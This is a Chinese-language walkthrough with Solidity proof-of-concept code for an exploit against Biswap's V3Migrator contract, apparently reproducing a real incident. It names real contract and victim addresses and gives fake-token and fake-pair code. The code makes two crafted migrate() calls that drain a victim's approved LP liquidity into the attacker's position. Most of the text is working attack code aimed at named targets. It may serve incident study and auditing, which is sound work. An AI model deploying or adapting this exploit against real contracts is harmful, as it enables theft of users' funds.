簡要的攻擊流程

  1. 第一次調用migrate函數,輸入真的pair合約和假的token,mint地址是受害者。
  2. transferFrom函數將受害者LPtoken發到升級合約中。
  3. 銷毀LPtoken,獲取兩種代幣。
  4. 調用mint,鑄造假的LPtoken給受害者。
  5. 第二次調用migrate函數,輸入偽造的pair合約和真的token,mint地址是自己的地址。
  6. 調用假的pair合約的transferFrom和burn函數不做任何操作,其中burn函數需要返回轉移合約中兩種代幣的數量。
  7. 向自己的地址mint真的LP。

具體實現

編寫假的token合約:

contract fakeToken is ERC20 {
    constructor() ERC20("fake", "fake") {
        _mint(msg.sender, 10e10 ether);
    }
}

初始化v3Migrator、bsw-wbnb交易對,manager,biswapFactory合約,創建兩個假token合約:

    IV3Migrator public v3Migrator = IV3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
    IBiswapPair public pair = IBiswapPair(0x46492B26639Df0cda9b2769429845cb991591E0A);
    ILiquidityManager public manager = ILiquidityManager(0x24Ba8d2A15Fe60618039c398Cf9FD093b1C1FEB5);
    IBiswapFactoryV3 factory = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
    address public victim = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;
    address public bsw = 0x965F527D9159dCe6288a2219DB51fc6Eef120dD1;
    address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address public fakeToken0 = address(new fakeToken());
    address public fakeToken1 = address(new fakeToken());

在創建交易對時會判斷代幣地址的相對大小,所以要先調整一下兩種代幣的順序:

···

if (fakeToken0 > fakeToken1) {
            (fakeToken1, fakeToken0) = (fakeToken0, fakeToken1);
  }

獲取bsw-wbnb交易對中受害者對轉移合約的授權:

uint256 allowance = pair.allowance(victim, address(v3Migrator));

提前將兩種假token發送到轉移合約:

IERC20(fakeToken0).transfer(address(v3Migrator), 10e10 ether);
IERC20(fakeToken1).transfer(address(v3Migrator), 10e10 ether);

創建兩種假token的交易對:

factory.newPool(fakeToken0, fakeToken1, 150 ,1);

第一次調用migrate函數:

IV3Migrator.MigrateParams memory params = 
            IV3Migrator.MigrateParams(
                address(pair), 
                allowance, 
                fakeToken0, 
                fakeToken1, 
                150, 
                10000, 
                20000, 
                0, 
                0, 
                victim, 
                1688126472, 
                false
            );
        
        v3Migrator.migrate(params);

交易對為真實的bsw-wbnb pair,要轉移的流動性為受害者地址對轉移合約的授權,兩種代幣為假的token,其余參數也與實際攻擊一致。

第二次調用migrate函數:

IV3Migrator.MigrateParams memory params1 = 
            IV3Migrator.MigrateParams(
                address(this), 
                allowance, 
                bsw, 
                wbnb, 
                150, 
                10000, 
                20000, 
                0, 
                0, 
                address(this), 
                1688126472, 
                false
            );
        v3Migrator.migrate(params1);

這時的pair為攻擊合約本身,所以攻擊合約要實現transferFrom和burn函數:

    function transferFrom(address from, address to, uint value) external returns (bool){
        return true;
    }

transferFrom直接返回true即可。

    function burn(address to) external returns (uint amount0, uint amount1) {
        uint256 bswBalance = IERC20(bsw).balanceOf(address(v3Migrator));
        uint256 wbnb1Balance = IERC20(wbnb).balanceOf(address(v3Migrator));
        return (bswBalance, wbnb1Balance);
    }

burn函數返回兩種真實代幣在轉移合約中的余額。

在第二次調用之后,攻擊合約應該獲取到一個LP和相應數量的兩種的代幣。

測試

代碼

https://github.com/wangbar0133/biswap_poc